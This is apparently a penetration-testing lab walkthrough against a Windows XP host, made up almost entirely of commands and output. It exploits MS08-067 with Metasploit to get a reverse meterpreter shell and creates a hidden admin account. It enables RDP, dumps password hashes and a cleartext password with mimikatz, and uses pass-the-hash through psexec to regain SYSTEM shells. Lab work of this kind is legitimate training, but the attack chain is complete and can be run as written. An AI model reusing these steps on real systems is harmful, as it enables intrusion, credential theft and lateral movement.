winxp

Vulnerability

```
Description:
  This module exploits a parsing flaw in the path canonicalization
  code of NetAPI32.dll through the Server Service. This module is
  capable of bypassing NX on some operating systems and service packs.
  The correct target must be used to prevent the Server Service (along
  with a dozen others in the same process) from crashing. Windows XP
  targets seem to handle multiple successful exploitation events, but
  2003 targets will often crash or hang on subsequent attempts. This
  is just the first version of this module, full support for NX bypass
  on 2003, along with other platforms, is still in development.

References:
  https://cvedetails.com/cve/CVE-2008-4250/
  OSVDB (49243)
  https://technet.microsoft.com/en-us/library/security/MS08-067
  http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos
```

Setting options and executing exploit

```
msf exploit(windows/smb/ms08_067_netapi) > set rhost winxp
rhost => winxp
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) > options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    winxp            yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
```

```
Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (A
   LHOST                      yes       The listen addres
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(windows/smb/ms08_067_netapi) > set lhost eth0
lhost => 192.168.40.142
msf exploit(windows/smb/ms08_067_netapi) > run
```

```
msf exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.40.142:4444
[*] winxp:445 - Automatically detecting the target...
[*] winxp:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] winxp:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] winxp:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.40.141
[*] Meterpreter session 1 opened (192.168.40.142:4444 -> 192.168.40.141:1268) at 2019-11-20 00:23:51 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Add localadmin

```
C:\WINDOWS\system32>net user localadmin P@ssw0rd /add
net user localadmin P@ssw0rd /add
The command completed successfully.
```

```
C:\WINDOWS\system32>net localgroup administrators localadmin /add
net localgroup administrators localadmin /add
The command completed successfully.
```

Enable rdp
https://www.windows-commandline.com/enable-remote-desktop-command-line/

```
C:\WINDOWS\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

The operation completed successfully
```

Gather info

```
meterpreter > sysinfo
Computer        : ETERNALBLUE
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : HACK
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
```

Load mimikatz

```
meterpreter > load mimikatz
Loading extension mimikatz...Success.
```

Samdump hashes

```
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : ETERNALBLUE.hack.net
BootKey    : 72d488982a11951d77113ff28495e59d

Rid  : 500
User : Administrator
LM   :
NTLM : 28c7d3d31876ec8ab66908b3f7c218da

Rid  : 501
User : Guest
LM   :
NTLM :

Rid  : 1000
User : HelpAssistant
LM   : 847b03b853bf3a2f4bfdba45f5e72123
NTLM : 69034ef97598eda383c449c563c1c79f

Rid  : 1002
User : SUPPORT_388945a0
LM   :
NTLM : 5c4ef2fea797675dd4f9112107be9ccc

Rid  : 1003
User : user
LM   :
NTLM : 16936944fa1c4964a8a6e7d2ddc3c432

Rid  : 1005
User : localadmin
LM   :
NTLM : e19ccf75ee54e06b06a5907af13cef42
```

Gather ntlm hashes

```
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID    Package    Domain        User             Password
------    -------    ------        ----             --------
0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE  lm{ 00000000000000000000000000000000 }, ntlm{ 8c408219a6821e925388967bb63da149 }
0;37364   NTLM                                      lm{ 00000000000000000000000000000000 }, ntlm{ 8c408219a6821e925388967bb63da149 }
0;803698  Kerberos   HACK          normaluser       lm{ 1a78a42ceeacde0093e28745b8bf4ba6 }, ntlm{ af909f42b927d976cd410f99dd46e098 }
0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE    n.s. (Credentials KO)
0;999     Negotiate  HACK          ETERNALBLUE$     n.s. (Credentials KO)
```

Upload mimikatz recursively

```
meterpreter > upload -r /mimi c:\\temp
[*] mirroring  : /mimi/Win32 -> c:\temp\Win32
[*] uploading  : /mimi/Win32/mimilib.dll -> c:\temp\Win32\mimilib.dll
[*] uploaded   : /mimi/Win32/mimilib.dll -> c:\temp\Win32\mimilib.dll
[*] uploading  : /mimi/Win32/mimilove.exe -> c:\temp\Win32\mimilove.exe
[*] uploaded   : /mimi/Win32/mimilove.exe -> c:\temp\Win32\mimilove.exe
[*] uploading  : /mimi/Win32/mimidrv.sys -> c:\temp\Win32\mimidrv.sys
[*] uploaded   : /mimi/Win32/mimidrv.sys -> c:\temp\Win32\mimidrv.sys
[*] uploading  : /mimi/Win32/mimikatz.exe -> c:\temp\Win32\mimikatz.exe
[*] uploaded   : /mimi/Win32/mimikatz.exe -> c:\temp\Win32\mimikatz.exe
[*] mirrored   : /mimi/Win32 -> c:\temp\Win32
[*] uploading  : /mimi/mimicom.idl -> c:\temp\mimicom.idl
[*] uploaded   : /mimi/mimicom.idl -> c:\temp\mimicom.idl
[*] uploading  : /mimi/README.md -> c:\temp\README.md
[*] uploaded   : /mimi/README.md -> c:\temp\README.md
[*] uploading  : /mimi/kiwi_passwords.yar -> c:\temp\kiwi_passwords.yar
[*] uploaded   : /mimi/kiwi_passwords.yar -> c:\temp\kiwi_passwords.yar
[*] mirroring  : /mimi/x64 -> c:\temp\x64
[*] uploading  : /mimi/x64/mimilib.dll -> c:\temp\x64\mimilib.dll
[*] uploaded   : /mimi/x64/mimilib.dll -> c:\temp\x64\mimilib.dll
[*] uploading  : /mimi/x64/mimidrv.sys -> c:\temp\x64\mimidrv.sys
[*] uploaded   : /mimi/x64/mimidrv.sys -> c:\temp\x64\mimidrv.sys
[*] uploading  : /mimi/x64/mimikatz.exe -> c:\temp\x64\mimikatz.exe
[*] uploaded   : /mimi/x64/mimikatz.exe -> c:\temp\x64\mimikatz.exe
[*] mirrored   : /mimi/x64 -> c:\temp\x64
```

Using PTH to determine readable/writable folder

```
root@kali:~# smbmap -u normaluser -p '1a78a42ceeacde0093e28745b8bf4ba6:af909f42b927d976cd410f99dd46e098' -d hack -H 192.168.40.141
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 192.168.40.141...
[+] IP: 192.168.40.141:445      Name: winxp
        Disk                                                    Permissions
        ----                                                    -----------
        IPC$                                                    NO ACCESS
        TEST                                                    READ, WRITE
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
```

Dumping hash from sam database

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:28c7d3d31876ec8ab66908b3f7c218da:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:847b03b853bf3a2f4bfdba45f5e72123:69034ef97598eda383c449c563c1c79f:::
localadmin:1005:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:5c4ef2fea797675dd4f9112107be9ccc:::
user:1003:aad3b435b51404eeaad3b435b51404ee:16936944fa1c4964a8a6e7d2ddc3c432:::
```

Gaining shell using psexec with creds provided

```
msf exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf exploit(windows/smb/psexec) > unset smbdomain
Unsetting smbdomain...
msf exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:28c7d3d31876ec8ab66908b3f7c218da
smbpass => aad3b435b51404eeaad3b435b51404ee:28c7d3d31876ec8ab66908b3f7c218da
msf exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.40.142:443
[*] 192.168.40.141:445 - Connecting to the server...
[*] 192.168.40.141:445 - Authenticating to 192.168.40.141:445| as user 'administrator'...
[*] 192.168.40.141:445 - Selecting native target
[*] 192.168.40.141:445 - Uploading payload... WANDBheq.exe
[*] 192.168.40.141:445 - Created \WANDBheq.exe...
[+] 192.168.40.141:445 - Service started successfully...
[*] 192.168.40.141:445 - Deleting \WANDBheq.exe...
[*] Sending stage (179779 bytes) to 192.168.40.141
[*] Meterpreter session 2 opened (192.168.40.142:443 -> 192.168.40.141:1376) at 2019-11-20 01:20:16 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Testing passing the hash

```
msf auxiliary(scanner/smb/smb_login) > run

[*] 192.168.40.141:445    - 192.168.40.141:445 - Starting SMB login bruteforce
[+] 192.168.40.141:445    - 192.168.40.141:445 - Success: 'hack\normaluser:1a78a42ceeacde0093e28745b8bf4ba6:af909f42b927d976cd410f99dd46e098'
[!] 192.168.40.141:445    - No active DB -- Credential data will not be saved!
```

sekurlsa::logonpasswords

```
msv :
 [00000002] Primary
 * Username : normaluser
 * Domain   : HACK
 * LM       : 1a78a42ceeacde0093e28745b8bf4ba6
 * NTLM     : af909f42b927d976cd410f99dd46e098
 * SHA1     : 6e3dd0882c0abc16c70a0c04a067004c091b88e4
wdigest :
 * Username : normaluser
 * Domain   : HACK
 * Password : userP@ss
kerberos :
 * Username : normaluser
 * Domain   : HACK.NET
 * Password : (null)
ssp :
credman :
```

normaluser not in administrators group

```
root@kali:~/examples# python psexec.py hack/normaluser:@192.168.40.141 -hashes 1a78a42ceeacde0093e28745b8bf4ba6:af909f42b927d976cd410f99dd46e098
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] Trying protocol 445/SMB...

[*] Requesting shares on 192.168.40.141.....
[*] Found writable share TEST
[*] Uploading file WWPVWJPx.exe
[*] Opening SVCManager on 192.168.40.141.....
[-] Error opening SVCManager on 192.168.40.141.....
[-] Error performing the installation, cleaning up: Unable to open SVCManager
```

normaluser in administrator group

```
C:\temp\Win32>net localgroup administrators
net localgroup administrators
Alias name     administrators
Comment        Administrators have complete

Members

-------------------------------------------
Administrator
HACK\Domain Admins
HACK\normaluser
localadmin
user
The command completed successfully.
```

```
root@kali:~/examples# python psexec.py hack/normaluser:@192.168.40.141 -hashes 1a78a42ceeacde0093e28745b8bf4ba6:af909f42b927d976cd410f99dd46e098
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] Trying protocol 445/SMB...

[*] Requesting shares on 192.168.40.141.....
[*] Found writable share TEST
[*] Uploading file QqnhDHLs.exe
[*] Opening SVCManager on 192.168.40.141.....
[*] Creating service jxpl on 192.168.40.141.....
[*] Starting service jxpl.....
[!] Press help for extra shell commands
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```